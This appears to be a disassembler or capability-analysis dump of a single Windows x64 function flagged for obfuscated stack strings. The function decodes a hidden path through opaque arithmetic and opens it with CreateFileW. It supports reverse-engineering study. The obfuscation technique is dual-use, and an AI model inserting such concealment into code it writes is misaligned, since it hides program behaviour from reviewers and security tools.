Function at 0x140057260
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
movzx edi, byte [rbp + 0x67]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp - 0x59], 0x5b3e593c
movups xmmword [rbp + 0x1d], xmm0
mov dword [rbp + 0x2d], eax
movabs rsi, 0xb750e4d9d638b3bc
mov dword [rbp - 0x55], 0x47224512
movabs r14, 0x8ed31716904bd7cc
mov dword [rbp - 0x51], 0x430a4124
movabs r15, 0x56bcfcb12aa962c
mov dword [rbp - 0x4d], 0x4fdc4d2d
movabs r13, 0xe7c5a19df212e694
mov dword [rbp - 0x49], 0x4bd54924
movabs r12, 0xac794543b0e38764
mov dword [rbp - 0x45], 0x77e47515
mov dword [rbp - 0x41], 0x733e711d
mov dword [rbp - 0x3d], 0x7fe07d11
mov dword [rbp - 0x39], 0x7b197911
mov dword [rbp - 0x35], 0x67016509
mov dword [rbp - 0x31], 0x633061fb
mov dword [rbp - 0x2d], 0x6f3e6d3c
mov dword [rbp - 0x29], 0x6b076938
mov dword [rbp - 0x25], 0x97f595f9
mov dword [rbp - 0x21], 0x93c791c1
mov dword [rbp - 0x1d], 0x9fce9dc1
mov dword [rbp - 0x19], 0x9bf899c5
mov dword [rbp - 0x15], 0x87da85d1
mov dword [rbp - 0x11], 0x83e381ec
mov dword [rbp - 0xd], 0x8fdb8dde
mov dword [rbp - 9], 0x8be789d1
mov dword [rbp - 5], 0xb7d8b5d5
mov dword [rbp - 1], 0xb3eeb1e5
mov dword [rbp + 3], 0xbfe0bdde
mov dword [rbp + 7], 0xbbe7b9e8
mov dword [rbp + 0xb], 0xa7cba5c9
mov dword [rbp + 0xf], 0xa3f2a1c1
mov dword [rbp + 0x13], 0xafcfadfc
mov dword [rbp + 0x17], 0xab2fa9f6
mov word [rbp + 0x1b], 0xd5d4
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x8a
jae 0x140057f29
movzx r10d, byte [rbp + r11 - 0x59]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140057f20
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400573fe
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
mov edi, gethostname
sub dil, al
add dil, dil
add dil, cl
add dil, r10b
jmp 0x140057445
je 0x140057ead
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140057e35
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140057e07
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140057dc2
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140057d9d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140057d52
cmp r8, r11
ja 0x140057f17
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x140057471
lea rcx, [r11 + rsi]
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x1400574b0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140057d36
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140057d2b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140057d09
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140057cee
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400579dd
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400579cb
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400579a3
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140057995
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140057976
lea rcx, [r8 + 0x41]
cmp rbx, rcx
je 0x140057958
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14005793d
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14005791e
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400578ff
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400578d1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400574c0
lea r8, [rcx + 0xa]
mov rbx, rcx
lea rax, [r8 + 4]
cmp rcx, rax
jb 0x140057ef7
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x140057ed7
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x1400576ab
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x140057690
lea rax, [r8 + 3]
cmp rcx, rax
jb 0x140057675
lea rax, [r8 + 0x3e8]
cmp rcx, rax
jb 0x140057884
lea rax, [r8 + 0x5a]
cmp rcx, rax
jb 0x14005783b
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x1400577f4
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x1400577cd
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x1400574c0
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x41]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14005779f
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140057784
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140057769
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14005774e
lea rcx, [r8 + 0x200]
cmp rbx, rcx
ja 0x14005772d
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14005771b
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14005770d
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400576e5
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400576c6
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400574c0
mov rbx, rcx
lea r8, [rcx + 0x28]
jmp 0x1400574c0
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x1400574b0
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x140057445
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x1400573d0
lea ecx, [r11 - 0x20]
movzx r9d, r11b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140057d70
lea edx, [r11 + 0x48]
mov ecx, 4
movzx eax, dl
inc r8
and al, r10b
dec r11
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x1400573b3
lea edx, [r11 - 0x50]
mov ecx, 0x18
jmp 0x140057da6
lea edx, [r11 + 0x18]
mov ecx, 0x2c
movzx r9d, r11b
jmp 0x140057dcf
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
add rbx, r8
jmp 0x140057e1c
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140057e1c
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140057e47
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140057e70
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x59]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x1400573b3
lea edx, [r11 + 0x24]
mov ecx, 2
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rbp + r11 - 0x59], dil
inc r11
jmp 0x1400573b3
lea edx, [r11 - 0x74]
mov ecx, socket
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x80
jb 0x1400577e7
mov edx, 4
movzx r9d, r11b
lea ecx, [r9 + 0x48]
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140057d70
lea edx, [r11 - 0xc]
mov ecx, 0x2a
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 2
jae 0x140057ca6
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140057ba8
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14005780e
lea edx, [r11 + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x40
je 0x140057cce
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x140057ac7
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x140057855
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x59]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x1400573b3
lea edx, [r11 - 0x30]
mov ecx, 0x28
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140057e70
lea edx, [r11 + 0x38]
mov ecx, 0x3c
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140057e47
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140057e1c
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
add rbx, r8
jmp 0x140057e1c
movzx r9d, r11b
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140057de0
lea edx, [r11 - 0x28]
mov ecx, recv
jmp 0x140057da6
lea edx, [r11 + 0x40]
mov ecx, 0x20
movzx eax, dl
inc r8
and al, r10b
dec r11
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x1400573b3
movzx r9d, r11b
mov ecx, 0x34
lea edx, [r9 - 0x58]
jmp 0x140057d5f
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x1400579fa
lea edx, [r11 - 0x34]
mov ecx, gethostname
movzx eax, dl
and al, r10b
jmp 0x140057893
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140057a2d
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 - 0x59]
add rax, r8
add r11, rax
lea edi, [r10 + rcx]
sub dil, 0x48
inc r11
jmp 0x1400573b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140057a55
lea edx, [r11 - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140057e47
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140057a7d
lea edx, [r11 + 0x40]
mov ecx, 0x20
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140057e1c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140057aa8
lea edx, [r11 - 0x28]
mov ecx, recv
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x140057e1c
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14005789e
movzx r9d, r11b
mov ecx, 0x3c
lea edx, [r9 + 0x38]
jmp 0x140057d5f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140057aef
movzx r9d, r11b
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x140057d70
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140057b06
lea edx, [r11 + 0x64]
mov ecx, 0x22
jmp 0x140057da6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140057b2d
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
add rbx, r8
jmp 0x140057e1c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140057b45
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
jmp 0x140057e10
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140057b6d
lea edx, [r11 + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140057e70
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140057855
lea edx, [r11 - 0xc]
mov ecx, 0x2a
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x59]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x1400573b3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140057bdf
lea edx, [r11 - 0x10]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x59]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x1400573b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140057c07
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140057e47
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140057c2e
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
add rbx, r8
jmp 0x140057e1c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140057c56
movzx r9d, r11b
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140057de0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140057c87
lea edx, [r11 + 0x18]
mov ecx, 0x2c
movzx eax, dl
inc r8
and al, r10b
dec r11
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x1400573b3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14005780e
movzx r9d, r11b
mov ecx, 0x18
lea edx, [r9 - 0x50]
jmp 0x140057d5f
movzx edi, byte [rbp + r11 - 0x59]
movzx r9d, r11b
lea edx, [r9 - 0x20]
movzx eax, dl
and al, r10b
add al, al
sub dil, al
sub dil, 0x20
add dil, r10b
add dil, dl
jmp 0x140057de0
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 - 0x59]
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140057e47
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x140057e47
lea edx, [r11 - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x140057e1c
lea edx, [r11 - 0x7c]
mov ecx, 0x32
jmp 0x140057da6
movzx r9d, r11b
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x140057d70
movzx r9d, r11b
mov ecx, 2
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x14
mov ecx, 0x3a
movzx eax, r9b
and al, r10b
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 - 0x59], cl
inc r8
dec r11
inc r11
jmp 0x1400573b3
lea edx, [r11 - 0xc]
mov ecx, 0x2a
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400573b3
movzx r9d, r11b
mov ecx, 0x3e
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x54
mov ecx, 0x26
movzx eax, r9b
and al, r10b
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
add cl, dil
mov byte [rbp + r11 - 0x59], cl
add rbx, r8
jmp 0x140057e1c
lea rcx, [r11 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400573b3
lea rax, [r11 + r13]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0xc
lea edx, [r11 + 0x44]
inc r8
movzx eax, dl
mov ecx, reloc.WS2_32.dll_select
and al, r10b
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x59], al
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x10]
inc rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, rbx
sub cl, 0x70
add cl, r10b
mov byte [rbp + r11 - 0x59], cl
add r11, rax
movzx eax, byte [rbp + r11 - 0x59]
add rax, r8
add r11, rax
inc r11
jmp 0x1400573b3
lea rcx, [r11 + r12]
mov eax, 0x22
and dl, cl
sub al, dl
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 - 0x59]
add rax, r8
add r11, rax
inc r11
jmp 0x1400573b3
sub r11b, 4
mov ecx, select
movzx eax, r11b
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x1400573b0
add r11b, 0x64
mov ecx, 0x22
movzx eax, r11b
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x140057397
lea rcx, [rbp + 0x174fcb7]
jmp 0x140057f2d
lea rcx, [rbp + 0x40d483]
jmp 0x140057f2d
lea rcx, [rbp - 0x59]
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0
mov edx, 0xc0000000
mov r8d, 3
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1401de1d0], rax
test rax, rax
je 0x140057f6d
cmp rax, 0xffffffffffffffff
setne al
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret